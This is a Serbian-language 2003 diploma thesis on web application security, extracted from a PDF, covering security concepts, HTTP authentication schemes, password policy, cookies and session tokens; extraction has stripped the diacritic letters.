8005074 Bezbednost Web Aplikacija

8/8/2019 8005074 Bezbednost Web Aplikacija

1/51

BEZBEDNOST WEB APLIKACIJA

Autor:Stevan Digurski

Novi Sad, 2003.


2/51

S A D R A J

1. UVOD ......................................................................................................................................................... ..4

1.1. OSNOVNIBEZBEDNOSNIKONCEPTI................................................................................................................5

1.2. WEB

APLIKACIJE

.......................................................................................................................................61.3. HTTP IBEZBEDNOST WEBAPLIKACIJA........................................................................................................7

2. AUTENTIFIKACIJA ......................................................................................................................... ...... ..8

2.1. KORISNIKAAUTENTIFIKACIJA.....................................................................................................................82.1.1. HTTP Basic ...................................................................................................................................82.1.2. HTTP Digest ........................................................................................................................... ......9

2.1.3. Autentifikacija na osnovu formi ..................................................................................................10

2.1.4. Digitalni sertifikati (SSL i TLS) ..................................................................................................11

2.2. ENTITETSKAAUTENTIFIKACIJA....................................................................................................................112.2.1. Autentifikacija infrastrukture ......................................................................................................11

2.3. SISTEMIAUTENTIFIKACIJEZASNOVANINALOZINKAMA....................................................................................12

3. UPRAVLJANJE KORISNIKIM SESIJAMA .....................................................................................14

3.1. COOKIES................................................................................................................................................143.2. SESIJSKITOKENI (SESSION TOKENS) ............. .............. .............. ............... .............. .............. ............ ...... .....153.3. SSL I TLS ...........................................................................................................................................16

3.3.1. Kako SSL i TLS rade?.................................................................................................................17

3.3.2. SSL pregovaranje sa autentifikacijom samo servera .................................................................17

3.3.3. SSL sa klijentskom i serverskom autentifikacijom ......................................................................18

4. KONTROLA PRISTUPA I AUTORIZACIJA .......................................................................................19

4.1. DISKRETNAKONTROLAPRISTUPA................................................................................................................194.2. OBAVEZNA (MANDATORY) KONTROLAPRISTUPA ..........................................................................................204.3. KONTROLAPRISTUPAZASNOVANANAULOGAMA (RBAC) .............. .............. .............. .............. ............. ..... ...20

5. PRAENJE RADA - EVENT LOGGING .............................................................................................22

5.1. TAUNETIULOGZAPIS............................................................................................................................225.2. OBRADALOGZAPISA................................................................................................................................23

6. VALIDACIJA PODATAKA ................................................................................................................ .....24

6.1. STRATEGIJEVALIDACIJE.............................................................................................................................246.1.1. Prihvati samo poznate validne podatke ............................................................................... ...... .24

6.1.2. Odbaci podatke za koje se zna da nisu validni ...........................................................................25

6.1.3. Saniraj sve podatke .................................................................................................................... .25

6.2. NIKADASENEOSLANJATINAVALIDACIJUPODATAKASASTRANEKLIJENTA........................................................25

7. BEZBEDNOSNI PROBLEMI PRI RADU WEB APLIKACIJA ........................................................26

7.1. NAPADINAKORISNIKE..............................................................................................................................267.1.1. Cross-site scripting .....................................................................................................................26

7.2. NAPADINASISTEM...................................................................................................................................287.2.1. Direktne SQL naredbe ................................................................................................................28

7.2.2. Direktne OS naredbe ...................................................................................................................30

7.2.3. Otkrivanje putanje dokumenta ....................................................................................................31

7.2.4. Ukljuivanje udaljenih datoteka .................................................................................... ...... ...... .317.2.5. Nulti bajtovi ............................................................................................................................... .32

7.2.6. URL kodiranje .............................................................................................................................33

7.3. MANIPULACIJAPARAMETRIMA....................................................................................................................357.3.1. Manipulacija Cookie-a ...............................................................................................................35

2


3/51

7.3.2. Manipulacija HTTP zaglavljima ............................................................................. ...... ...... ...... .36

7.3.3. Manipulacija poljima HTML formi ............................................................................................37

7.3.4. URL manipulacija ...................................................................................................................... .38

7.4. OSTALINAINIMANIPULACIJE....................................................................................................................407.4.1. Konfiguracija sistema ................................................................................................................ .40

7.4.2. Komentari u HTML .....................................................................................................................40

7.4.3. Stari, bekapovani i fajlovi bez reference .....................................................................................41

7.4.4. Debug naredbe ............................................................................................................................42

7.4.5. Default (inicijalni) nalozi .............................................................................................. ...... ...... .43

8. PROBLEMI PRIVATNOSTI ...................................................................................................................44

8.1. OPASNOSTIPRIUPOTREBIJAVNIH WEBBROWSER-A.......................................................................................448.2. UPOTREBALINIHPODATAKA.....................................................................................................................448.3. OPCIJA BROWSERHISTORY .............. .............. .............. .............. .............. .............. ............... ............ ....44

9. ZAKLJUAK ..........................................................................................................................................45

10. LITERATURA .......................................................................................................................................46

RENIK ............................................................................................................................................ ...... .....47

3


4/51

1.UVOD

Ekspanzija popularnosti Interneta koja se odigrala u prethodnoj deceniji, kao i

promovisanje Web browsera kao platforme za distribuciju aplikacija, doveli su do toga darazvoj Web aplikacija predstavlja oblast u kojoj se raunari danas najvie koriste.

Web bezbednou se oduvek bavila mala grupa ljudi koja se obicno fokusirala na

bezbednost mrea i operativnih sistema. Pojavom sve sloenijih Web aplikacija i Webservisa kao i injenica da se na njima nalazi velika koliina poverljivih informacijapovlai sa sobom veliku odgovornost programera koji ih kreiraju.

Rad se sastoji iz vie celina. U prvom poglavlju predstavljeni su osnovnibezbednosni koncepti, pojmovi Web aplikacija i Web servis, kao i mesto i uloga HTTPprotokola u bezbednosti Web aplikacija.

Tema drugog poglavlja je autentifikacija kao najosetljiviji deo Web aplikacije.Predstavljeni su tipovi autentifikacije, naini na koji funkcioniu, kao i prednosti i manesvakog.

Naredno poglavlje se odnosi na mehanizme upravljanja korisnikim sesijama, bezkojih se ne moe zamisliti ni jedna Web aplikacija.

Naredna tri poglavlja se odnose na kontrolu pristupa i autorizaciju, praenje rada(logging), i validaciju podataka.

U poglavlju Bezbednosni problemi Web aplikacija opisani su naini na koji sevre napadi na Web aplikaciju, kao i reenja za njihovo spreavanje ili ublaavanje.

Osmo poglavlje diplomskog rada bavi se privatnou korisnika Web aplikacija.

U poslednjem poglavlju ovog rada prikazana je konkretna realizacija intranet Webaplikacije namenjena timskom radu na projektima, uz osvrt na prethodno izloenumetodologiju.

4


5/51

1.1.Osnovni bezbednosni koncepti

Osnovni bezbednosni koncepti koji su vani za informacije na Internetu suraspoloivost, integritet i poverljivost.

Raspoloivost se primarno definie kao mogunost sistema da prui usluguovlaenom korisniku. Ovlaeni korisnici su korisnici kojima su namenjene uslugesistema kako je naznaeno u njegovoj specifikaciji. Svi ostali korisnici osim ovlatenihkorisnika smatraju se neovlatenim korisnicima.

Integritetpredstavlja prevenciju neovlaene modifikacije, brisanja ili unitavanjaelemenata sistema. Integritet je naruen u sluaju napada, koji obino izvravajuneovlaeni korisnici, ali koji takoe moe izvriti i ovlaeni korisnici kojizloupotrebljavaju svoja ovlaenja. Zbog toga integritet karakterie mogunost sistema da

se odupre napadima.

Poverljivost je mogunost sistema da onemogui neovlaenim korisnicimapristup poverljivim informacijama. U stvarnosti time se definie do koje mere nekainformacija treba da je dostupna, odnosno nedostupna neovlaenim korisnicima.Poverljivost se takoe moe posmatrati u irem smislu, odnosno kao prevencija pruanjausluge neovlaenim korisnicima, ak i ako pruanje takve usluge ne bi znailo tetu zaovlaene korisnike ili otkrivanje tajnih informacija.

Bezbednosni koncepti koji se odnose na osobe koje koriste informacije suautentifikacija, autorizacija i neporecivost.

Da bi uinili informaciju dostupnom onome kome je potrebna i kome se moeverovati koriste se autentifikacija i autorizacija. Autentifikacijaje proces utvrivanja dali je korisnik, odnosno entitet, ono to tvrdi da jeste. Autorizacija podrazumeva proveruda li odreeni korisnik (ili sistem) ima dozvolu da vri odreenu akciju, podpretpostavkom da se prethodno autentifikovao. Neporecivost je mogunost sistema daonemogui korisniku poricanje prethodno izvrene akcije.

Bezbednostinformacija

Poverljivostprevencijaneovlaenog

otkrivanjainformacija

Integritetprevencijaneovlaenemodifikacijeinformacija

Raspoloivostprevencijaneovlaenogzadravanjainformacija

5


6/51

1.2.Web aplikacije

Web aplikacije imaju klijent/server arhitekturu koja omoguuje interakciju sakorisnicima ili drugim sistemima koristei HTTP protokol. Za korisnike, klijent jenajee Web browser kao to je Internet Explorer ili Netscape Navigator. Krajni korisnik

vidi Web stranice i on je sposoban da vri interakciju slanjem izbora. Funkcije koje seizvode mogu biti jednostavni zadaci kao pretraga lokalnog direktorijuma do visokosofisticiranih aplikacija koje vre npr. prodaju u realnom vremenu, B2B i B2C...

Tehnologije koja omoguavaju rad Web aplikacija veoma se brzo razvijaju.Tradicionalno jednostavne aplikacije, pravljene sa CGI (Common Gateway Interface),obino su pokretane na Web serveru povezane na jednostavnije baze podataka ( takodjena istom serveru). Moderne aplikacije su tipino napisane u Javi (ili slinim jezicima ) ipokretane na aplikacionim serverima povezane sa vie baza podataka.

Nivo prezentacije je odgovoran za prezentovanje podataka ka krajnjem korisnikuili sistemu. Web server prua podatke, a Web browser ih slae u itljivu formu kojukorisnik moe da interpretira. To takodje doputa korisniku da odgovori slanjempovratnih parametara koje Web server proputa kroz aplikaciju. Ovaj nivo prezentacijeukljuuje Web servere kao to su npr. Apache i MS IIS. On takodje moe ukljuitikomponente aplikacije koje kreiraju izgled stranice.

Aplikacioni nivo je pokreta Web aplikacije. On omoguava realizaciju poslovne

logike, obradu ulaznih podataka, donoenje odluka, upotreba vie podataka iprezentovanje istih do nivoa prezentacije za slanje korisniku. Nivo aplikacije moeukljuiti tehnologije kao to su: CGI, Java, .NET servisi ili PHP.

Nivo podataka se koristi za skladitenje podataka potrebnih za aplikaciju iodgovoran je za privremene i stalne podatke. Savremeni sistemi skladite podatke u XMLformatu radi lake komunikacije sa drugim sistema.

Web servisi predstavljaju kolekciju funkcija koje su upakovane kao celina ipublikovane na mreu za upotrebu od strane drugih programa. Web servisi su namenjeniza kreiranje otvorenih distributivnih sistema koji omoguavaju kompanijama i

individualnim korisnicima da brzo i jeftino uine da svoje informacije dostupnim iromsvetske mree. Jedan Web servis moe koristiti drugi da napravi bolje karakteristike zakrajnjeg korisnika. Web servisi za iznajmljivanje automobila i avio prevoz su primeri.Web servisi se zasnivaju na XML-u (extensible Markup Language) i SOAP-u (SimpleObject Access Protocol).

Nivo prezentacije Aplikacioni nivo Nivo podataka

6


7/51

1.3.HTTP i bezbednost Web aplikacija

Sa tehnike strane, osnovni protokol na mrei je HTTP protokol. Njegova jednostavnost nainila ga je vrlo popularnim. Protokol radi na aplikacionom nivou.Klijent alje zahtev HTTP serveru, HTTP server interpretira zahtev i alje odgovarajui

odgovor klijentu.

Kada je Web aplikacija postavljena na Web server, korisnici alju HTTP zahteveza odreene stranice. Napadi zlonamernih korisnika koji se nalaze u tim zahtevima, bezikakvih prepreka prolaze kroz firewall-ove zato to su oni deo legalnog HTTP zahteva.

Zavrni udarac su dali Web servisi (REST, XML i SOAP), koji omoguavaju da se krozsamo jedan port provuku razni formati dokumenata.

AplikacioninivoNivoprezentacijeNivosesijeTransportni

nivoMreninivoNivopodatakaFiziki nivo

AplikacioninivoNivoprezentacijeNivosesijeTransportni

nivoMreninivoNivopodatakaFiziki nivo

HTTP klijent HTTP server

HTTP zahtev predstavljen preko OSI referentnog modela

7


8/51

2.AUTENTIFIKACIJA

Autentifikacija je proces utvrivanja da li je korisnik, odnosno entitet, ono totvrdi da jeste.

esto dolazi do zabune ta je autentifikacija, a ta je upravljanje sesijama (sessionmanagement). Korisnici su obino autentifikovani sa korisnikim imenom i lozinkom ilislinim mehanizmom. Kada je prvi put uspeno izvrena autentifikacija, sesijski token(session token) je postavljen u korisnikov browser, skladiten u cookie. To omoguavabrowseru da poalje sesijski token svaki put kada je upuen novi zahtev, to predstavljaentitetsku autentifikaciju. Korisnika autentifikacija se vri samo jednom u toku sesije,dok se entitetska autentifikacija vri prilikom svakog zahteva.

Postoje dva tipa autentifikacije:

Korisnika autentifikacija je proces odreivanja da li je korisnik ono to tvrdi dajeste.

Entitetska autentifikacija je proces odreivanja da li je entitet (sesijski token) ono totvrdi da jeste.

Razmotrimo situaciju kada korisnik pristupa stranicama za administraciju jednogelektronskog trgovinskog sajta. Posle uspeno obavljene korisnike autentifikacije sistemvri entitetsku autentifikaciju koja je potrebna u slucaju da elimo da preemo na nekudrugu stranicu, a da izbegnemo ponavljanje korisnike autentifikacije.

2.1.Korisnika autentifikacija

2.1.1.HTTP Basic

HTTP protokol definie jednostavan okvir za autentifikaciju. HTTP klijent, npr.Web browser alje zahtev serveru za pristup zatienim stranicama, Web server vraaklijentu HTTP 401 statusni kod:

HTTP/1.1 401 Authorization Required

Zatim klijent alje drugi zahtev ovaj put ukljuujui Authenticate headerkoji

sadri njegove akreditive za serverov upit. Ako server prihvati akreditive klijenta poslaetraenu stranicu, u suprotnom alje odgovor 401 neautorizovanog pristupa da obavestiklijenta da je autentifikacija propala.

Postoji vie naina za obavljanje korisnike autentifikacije preko HTTP-a.Najjednostavniji metod jeHTTP Basic autentifikacija.

8


9/51

HTTP Basic autentifikacija se zasniva na modelu da se korisnik moraautentifikovati sa korisnikim imenom i lozinkom (koji se obino unose u dialog box) zasvaki domen. Oni se alju serveru odvojeni karakterom :, kriptovani base64 metodom.

HTTP Basic autentifikacija je nesiguran metod filtriranja neautorizovanog

pristupa resursima na HTTP serveru. Ona je bazirana na pretpostavci da je veza izmeuklijenta i servera sigurna. Takoe, ova autentifikacija ima problem da ne postojimehanizam za logout, to pri upotrebi jednog Web browser-a od strane vie korisnikastvara problem.

2.1.2.HTTP Digest

Postoje dve forme HTTP Digestautentifikacije koje su napravljene da spreeproblem presretanja korisnikog imena i lozinke. Originalna specifikacija je razvijenakao jedna ekstenzija za HTTP 1.0, a unapreena je za HTTP 1.1. Svrha HTTP Digest

autentifikacione eme je da omogui korisnicima da dokau svoje korisniko ime ilozinku bez otkrivanja aktuelne lozinke. HTTP Digestmehanizam koristi MD5 hashalgoritam. Mehanizam HTTP Digestautentifikacije razvijen je da omogui generalnuupotrebu, jednostavnu implementaciju i autentifikacioni mehanizam koji se moe koristitipreko kanala koji nisu kriptovani.

Vaan deo pri sprovoenju autentifikacije je slanje dodatnih podataka. U sluajada se sa zahtevom ne alju jedinstveni podaci napada bi bio u mogunosti dajednostavno ponovi digest.

Proces autentifikacije poinje sa odgovorom 401 - neautorizovani pristup, kao i

kod HTTP Basic autentifikacije. Zagljavlje WWW-Authenticate header, koje zahtevaeskplicitnu autetifikaciju se dodaje, nakon ega se generie dodatni parametar nonce iizraunava digest.

Ovako izgleda izraunavanje:1.string A1 se sastoji od korisnikog imena, oblasti i lozinke koji su spojeni

dvotakama :owasp:[email protected]:password,

2.Izraunava se MD5 hash ovih stringova (128 bitni heksadecimalni izlaz),3.String A2 se sastoji od HTTP metoda i URI-a (npr. GET:/index.php),4.Izraunava se MD5 hash funkcija od A2,

5.Spajaju se A1 i A2 sa dvotakama,6.Izraunava se MD5 hash funkcija ovakvog stringa.

Kao to je ve reeno, HTTP 1.1 specificira unapreenu digest emu, koja prua dodatnozatitu za:

-napade ponavljanjem,-obostranu autentifikaciju,-integritet zatite.

9


10/51

Digest ema u HTTP 1.0 je osetljiva na napade ponavljanjem. Ovo proizilazi iztoga to napada moe da ponovi tano izraunati digest za isti resurs, te da poalje istizahtev serveru. Poboljana digest ema u HTTP 1.1 ukljuuje NC parametar ili brojanjenonce-a u autorizaciono zaglavlje. Ovaj osmocifreni broj u heksadecimalnoj predstavi seuveava svaki put kada klijent podnese zahtev sa istim nonce-om. Server mora da proveri

da li je NC vei od poslednje primljene NC vrednosti koju je primio, te da ne uvaiponovljene zahteve. Druga poboljanja HTTP 1.1 eme su integritet zatite i obostranaautentifikacija, to klijentima omoguuje da autetifikuje servere, kao i serverima daautentifikuje klijente.

2.1.3.Autentifikacija na osnovu formi

Umesto oslanjanja na autentifikaciju na nivou protokola, Web bazirane aplikacijekoriste kod sadran u samim Web stranicama. Ovo omoguava projektantima dapredstave zahtev za korisnikim podacima (korisniko ime i lozinka) kao normalni deoaplikacije sa svim HTML mogunostima koje se odnose na internacionalizaciju i

pristupanost.

Od sutinske vanosti je da se forme autetifikacije podnose upotrebom HTTPPOST zahteva, detaljniji pregled e biti dat u daljem tekstu. HTTP GET zahtev sepojavljuje u history-u korisnikovog browsera, tako da korisniko ime i lozinka mogu bitividljivi i ostalim korisnicima istog browsera.

Uobiajena ema u Web aplikacijama je da se korisniku prethodno popune poljakad god je to mogue. Korisnik koji se vraa na prethodno korienu aplikaciju moeeleti da potvrdi informacije o svom profilu. Veina aplikacija e prethodno popunitiformu sa trenutno vaeim podacima i zahtevati od korisnika da izmeni podatke koji su

netani. Polja sa lozinkama aplikacija nikada ne treba da popunjava. Najbolji pristup jeda se ostavi prazno polje za lozinku i da se od korisnika zahteva da potvrdi trenutnulozinku, kao i dva polja za unos i potvrdu nove lozinke. U veini sluajeva stranica zaizmenu lozinke treba da se nalazi odvojeno od ostalih podataka vezanih za korisnikiprofil. Ovakav pristup ima dve prednosti. Korisnici mogu nepanjom da ostave prethodno popunjenu formu na ekranu doputajui pri tome, nekome sa fizikim pristupomraunaru, da otkrije lozinku. Isto tako, ako aplikacija dopusti (kroz neki bezbednosnipropust) drugom korisniku da vidi stranicu sa prethodno popunjenom lozinkom za nalogdrugog korisnika, View Source e ponovo otkriti lozinku u vidu obinog teksta.

Primedba: autentifikacija zasnovana na formama zahteva od projektanata sistema

da izgrade autentifikacioni protokol koji e se nositi sa istim problemima koji sepravazilaze upotrebom HTTP digest-a. Projektanti moraju obratiti panju na sledee:ukoliko nije upotrebljen SSL, forme podnete upotrebom HTTP GET ili HTTPPOST zahteva, podatke (korisniko ime i lozinku) prenose u vidu obinog teksta.

10


11/51

2.1.4.Digitalni sertifikati (SSL i TLS)

SSL (Secure Socket Layer) i TLS (Transport Layer Security) mogu da obezbedeklijentsku, serversku ili obostranu autetifikaciju entiteta. Detaljni opisi mehanizamamogu se nai u SSL i TLS delovima ovog rada. Digitalni sertifikati su mehanizmi za

autentifikaciju sistema, a pored toga predstavlaju i mehanizam za distribuciju kljueva ukriptografskim razmenama (ukljuujui i autentifikaciju po potrebi). Razni formatisertifikata nalaze se u upotrebi. Najire prihvaen je X509 v3 sertifikat InternationalTelecommunication Union-a (pogledati RFC 2459). Jo jedan rairen kriptografskiprotokol za poruke je PGP. Iako su delovi komercijalnog PGP-a svojinski zatieni,OpenPGP Alliance predstavlja grupe koje koriste OpenPGP standard (RFC 2440).

Digitalni sertifikati se najvie koriste u Web sistemima pri konektovanju nabezbedne (secure) Web sajtove (SSL). Veina Web sajtova radi iskljuivo saautentifikacijom na serverskoj strani, ak i ako je autentifikacija na strani klijentamogua.

Za sisteme visoke bezbednosti autentifikacija na klijentskoj strani je neophodna,tako da je potrebno postaviti i emu za distribuciju sertifikata.

2.2.Entitetska autentifikacija

Upotreba cookie-aCookie-ji se esto koriste za autentifikaciju korisnikog browser-a, kao deo mehanizmaza upravljanje sesijama. Ova tematika je detaljnije opisana u delu koji se odnosi naupravljanje sesijama.

Napomena o referer zaglavlju:Referer zaglavlje se alje sa HTTP zahtevom klijenta da bi se utvrdilo na koj nain jeklijent doao do URL-a traene stranice. Ovakav nain na prvi pogled moe da se uinizgodnim za proveru da li korisnik pratio korake u odreenoj aplikaciji ili je URL dobio sa poverljivog domena (trusted domain). Meutim, ovakvo zaglavlje stvara korisnikovbrowser, tako da korisnik moe da menja ovo zaglavlje, te ga zbog toga ne bi trebalokoristiti za autentifikaciju.

2.2.1.Autentifikacija infrastrukture

DNS nazivieste su situacije u kojima aplikacija treba da autentifikuje druge servere ili aplikacije. IPadrese ili DNS nazivi su naizgled naini za autentifikaciju. Meutim usled specifinihnedostataka vezanih za bezbednost DNS-a, ova metoda bi trebalo da se koristi jedino zabrzu i letiminu proveru.

Prevara sa IP adresama

11


12/51

Prevare sa IP adresama mogue su pod odreenim okolnostima, tako da bi projektantitrebalo to da imaju na umu. U optem sluaju trebalo bi koristiti gethostbyaddr() , umestogethostbyname(). Za jau autentifikaciju treba upotrebiti X.509 sertifikat iliimplementirati SSL.

2.3.Sistemi autentifikacije zasnovani na lozinkamaKorisnika imena i lozinke su danas najei nain autentifikacije. Usled razliitih

zahteva koje ema odravanja lozinki treba da zadovolji, lozinke su esto najslabijakarika u arhitekturi autentifikacije. Ovo je najvie zbog ljudskog faktora, te se samodonekle moe ublaiti tehnikim sredstvima. U daljem tekstu su data razliita reenja,svaka sa svojim prednostima i manama. Kao i uvek, sistemi za implementacijuautentifikacije bi trebalo da procenjuju rizik i prednosti za svaki od moguih modelapretnje.

Korisnika imena

Iako korisnika imena sama po sebi nisu zahtevna sa aspekta bezbednosti nije loe uvestineka ogranienja za korisnika imena. Ime koje je na neki nain izvedeno odkorisnikovog linog imena moe napadau da nagovesti o kome se radi i sl. Drugakorisnika imena, kao na primer, broj socijalnog ili poreski broj mogu imati i zakonskeposledice. Email adrese nisu dobra korisnika imena iz razloga opisanih u daljem tekstu.

Skladitenje korisnkih imena i lozinkiSvaki sistem mora da sadri skladite sa korisnikim imenima i odgovarajuimlozinkama koje e se koristiti u procesu autentifikacije. Ovakav pristup se jo uvekprimenjuje kod Web aplikacija koje koriste ugraena skladita podataka u operativnomsistemu, kao to je Windows NT. Ovakva skladita moraju biti bezbedna. Lozinke ne bi

trebalo da budu dostupne administratorskim korisnicima na uvid. Deosta je esta tehnikada se nad lozinkama koriste hash fukcije (kao to je SHA-1).

Sprovoenje kvaliteta lozinkiPojam kvaliteta lozinke se odnosi na entropiju lozinke i od presudne je vanosti zabezbednost korisnikih naloga. Dobru lozinku je nemogue pogoditi. Tipina lozinka imanajmanje osam karaktera, pri emu jedan alfanumerik, upotreba malih i velikih slova,jedan specijalan karakter (a da nije u A-Z ili 0-9). U Web aplikacijama posebnu panjutreba posvetiti metakarakterima.

Zakljuavanje lozinki

Ako se napadau ne sprei, on lozinke nagaa vei broj puta. Vrlo je verovatno da e pogoditi.. Mehanizme spreavanja nagaanja lozinke trebalo bi postaviti tako da blokiraju nalog u sluaju kada broj pokuaja logovanja pree neku unapred zadatuvrednost. Preporuljiv broj pokuaja logovanja je pet. Ovakvi mehanizmi, meutim imajunedostatke. Mogue je da napada pokua da pogodi vei broj sluajno izabranih lozinkina poznatim nalozima te tako zakljua ceo sistem korisnika. Kako sistem zakljuavanjalozinki treba da titi od napada, logina strategija je da se korisniki nalozi zakljuaju na

12


13/51

nekoliko sati. Na ovaj nain napada e se znaajno usporiti, dok e pravim korisnicimapristup biti i dalje omoguen.

Starenje i istorija lozinkiRotacija lozinki je u optem sluaju dobra stvar. Ovo daje lozinkama odgovarajui

ivotni vek. Naravno ako se od naloga koji ve provaljen zatrai da obnovi svojulozinku sve prednosti nestaju.

Sistem za resetovanje lozinkiSistemi za resetovanje lozinki su u irokoj upotrebi. Oni omoguavaju korisniku daresetuje svoju lozinku odmah bez pozivanja administratora. Ovo dovodi do izlaganjakorisnikog naloga riziku u sluajevima kada je lozinku potrebno promeniti korisnikukoji ne moe da se autentifikuje.

Postoji nekoliko strategija kojima se ovo izvodi. Jedna je da se definie skup pitanja kojase postavljaju nekome ko tvrdi da je korisnik. Ova pitanja bi trebalo da budu u slobodnoj

formi. Aplikacija treba korisniku da dozvoli da izabere skup svojih pitanja i odgovora, ane da koristi ista pitanja za sve korisnike. Na ovakav nain stepen entropije se znatnouveava.

Potrebno je obratiti panju da se u okviru iste sesije nikada ne podnose na potvrduzajedno pitanja i odgovori. Na primer za vreme registracije klijentu se moe slati ilipitanje ili odgovor, ali nikada oba zajedno. U sluaju kada sistem koristi email adrese zadostavljanje novih lozinki korisnicima, lozinke bi trebalo da se promene prvi put kada senovi korisnik loguje sa promenjenom lozinkom.

13


14/51

3.UPRAVLJANJE KORISNIKIM SESIJAMA

HTTP je protokol bez odravanja stanja (stateless), jer se konekcija klijenta iservera uspostavlja prilikom upuivanja klijentovog HTTP zahteva i dobijanja odgovoraod servera, a u ostalim vremenskim periodima je nema.

Primenom mehanizma stanja omogueno je da viestruki korisniki zahtevi budumeusobno povezani preko sesije. Sposobnost razdvajanja i prepoznavanja akcijakorisnika za odreene sesije je kritina za Web sigurnost. Dok postoji preferirani cookiemehanizam (RFC 2965) za izgrdnju sistema zasnovanih na korisnikim sesijama, stepenbezbednosti sistema e zavisiti od samog Web programera, odnosno od naina na kojiprimenjuje cookie mehanizam.

Veina mehanizma stanja, token sesije (session token) se prenosi izmeu HTTPservera i klijenta. On je najee smeten u cookie, moe se prenositi i preko statinogURL-a, kao to moe biti sakriven u HTML kodu Web stranice ili u kombinaciji ovih

metoda.

3.1.Cookies

esto ospravan mehanizam koji je neophodan za primenu mnogih komercijalnihWeb aplikacija (online banking i e-commerce). Cookie-ji nisu dizajnirani da uvajukorisniko ime i lozinku ili bilo koju osetljivu informaciju. Veoma je bitno korektno ihkoristiti. Cookie-ji su razvijeni od strane Neatscape-a, a sada su specificirani u RFC 2965.Postoje dve kategorije cookie-a: sigurne ili nesigurne, trajne ili privremene, dajui etiriposebna tipa cookie-a:

trajne i sigurne,trajne i nesigurne,privremene i sigurne,privremene i nesigurne.

Trajni cookie-jisu smeteni u tekst dokumentu na strani klijenta i traju do istekaroka (expiry date) koji je postavljen. Privremeni cookie-ji su smeteni u RAM-memorijina strani klijenta. Unitavaju se kada se browser isljui ili eksplicitno kada se pokrenelog-off skript.

Sigurni cookie-ji mogu biti poslati samo preko HTTPS (SSL). Dok nesigurnicookie-ji mogu biti poslati i preko HTTP-a i preko HTTPS-a. Naziv sigurni estodovodi do zablude, jer on obezbeuje sigurnost transporta. Za svaki podatak poslatklijentu smatra se da je pod kontrolom krajnjeg korisnika, bez obzira na korienetransportne mehanizme.

Cookie-ji mogu biti poslati korienjem dva glavna metoda, preko HTTPzaglavlja i JavaScript-om. Cookie-ji ne mogu biti itani niti upisivani preko nekog drugog

14


15/51

DNS domena. Ako je sve korektno klijent pri komunikaciji sa domenom A ne moe itaticookie-je domena B, ali postoji dosta slabih taaka u popularnim Web klijentima koji todozvoljavaju. Ako se cookie-ji alju HTTP-om, server odgovara na zahtev sa dodatnimzaglavljem. To zaglavlje govori klijentu da doda te informacije u klijentov cookiedokument ili smesti tu informaciju u RAM. Posle toga svi zahtevi za taj URL od strane

browsera sadrae cookie informaciju kao dodatno zaglavlje u zahtevu.Tipian cookie koji skladiti sesijski token (session token) izgleda ovako:

Domen Putanja Sigurnost Istek vremena Ime Vrednostwww.redhat.com / FALSE 1154029490 Apache 64.3.40.151.16

018996349247480

Kolone ove tabele ilustruju est parametara koji se skladite u cookie.

Domen: domen Web sajta koji je kreirao i koji moe da ita promenjivu.

Putanja: ovaj atribut ograniava vidljivost pojedinih direktorijuma na Web serveru. Akoimamo stranicu http://www.redhat.com/reference , a putanja je /reference, cookie e bitiposlat samo za stranice iz direktorijuma /reference. Atribut / nam govori da se putanjaodnosi na ceo sajt.

Sigurnost: vrednost TRUE/FALSE se odnosi na to da li je SSL konekcija potrebna zadati domen da se pristupi datoj varijabli.

Istek roka:predstavlja Unix-ovo vreme trajanja varijable. Unix-ovo vreme je definisanokao broj sekundi od 00:00:00 GMT Jan 1, 1970. Izostavljanje ovog parametra browser e

tretirati tako to e cookie smestiti u RAM i izbrisati je kada se browser isljui.

Ime: ime varijable, u ovom sluaju Apache.

Dakle, vrednost cookie imena Apache je 64.3.40.151.16018996349247480 i bie unitena27. jula 2006. za Web sajt iji je domenhttp://www.redhat.com.Za jedan domen maksimum cookie-a je 20, a maksimalna veliina je 4kb.

3.2.Sesijski tokeni (Session Tokens)

Svi sesijski tokeni (nezavisno od mehanizma stanja) moriju biti jedinstveni,

nepredvidivi i otporni na inverzno projektovanje. Sesijski token treba da koristi pouzdanizvor sluajnih karaktera (kao to su generator pseudosluajnih brojeva, Yarrow, EGADS,itd.). Dodatno, za veu sigurnost, sesijski tokeni treba da budu vezani na neki nain zaspecifinog HTTP klijenta da spree upade i replay napade. Generalno algoritmi sesijskihtokena ne bi trebalo da koriste promenljive koje sadre korisnikove personalneinformacije kao npr. korisniko ime, lozinku, adresu i slino.

15
http://www.redhat.com/http://www.redhat.com/referencehttp://www.redhat.com/http://www.redhat.com/http://www.redhat.com/http://www.redhat.com/referencehttp://www.redhat.com/referencehttp://www.redhat.com/referencehttp://www.redhat.com/http://www.redhat.com/http://www.redhat.com/


16/51

Sesijski tokeni koji koriste najjae kriptografske algoritme mogu biti razbijeni akoduina kljua nije dovoljno velika. Napadai mogu jednostavno korienjem automatskihskriptova proi kroz sve mogunosti. Kljuevi tokena moraju biti dovoljno veliki daspree ovakve brutalne napade, ali imajui na umu izraunavanje algoritama i smanjenjeirine propusnog opsega duina kljueva e biti smanjena.

Sesijski tokeni kod kojih ne dolazi do isteka roka validnosti na HTTP serverumogu omoguiti eventualnom napadau da pogodi ili brutalno napadne validniautentifikacioni sesijski token. Jedan primer je opcija Zapamti me na mnogim manjime-komerc sajtovima. Ako je uhvaen cookie nekog korisnika, tada napada moe koristititoken sesije da dodje do tog korisnikog naloga. Dodatno, tokeni sesije mogu biti keiraniili upisani u log listu na proxy serveru, koji ako im vreme isteka na HTTP serveru neistekne mogu bi takoe iskorieni od strane napadaa.

Da bi spreili presretanja i brutalne napade na sesije HTTP server moe unitavatii regenerisati tokene i time dati napadau manje vremena da ponovo iskoristi legitiman

token.Velik broj Web sajtova zabranjuju ponovno neobuzdano nagaanje lozinke (npr.

HTTP server privremeno zatvori korisniki nalog ili zabrani pristup sa te IP adrese).Napada moe pokuavati stotinama ili hiljadama puta da proba razliite tokene dapoalje preko URL-a ili cookie-a bez ogranienja servera.

Kritine akcije koje vri korisnik kao to su transfer novca ili znaajne narudbinetrebalo bi da zahtevaju od korisnika reautentifikaciju ili generisanje novog sesijskogtokena pre obavljanja vane akcije.

Sa popularnou internet kioska i deljivih raunarskih okruenja, sesijski tokenise izlau novom riziku. Browser unitava session cookie samo po zavretku njegovograda. Neophodno je da se sesijski tokeni unite kada korisnik naputa aplikaciju. Takodjeje neophodno da u aplikaciji postoji opcija logout.

3.3.SSL i TLS

Secure Socket Layer (SSL) protokol je projektovan od strane Netscape-a, u okviruNetscape Communicator browsera. SSL je najire upotrebljavan bezbednosni protokol, ikao takav on se ugrauje u sve komercijalne Web browsere i Web servere. Kako jeprvobitna verzija SSL-a tehniki bila vlasnitvo Netscape-a, IETF (Internet Engeeniring

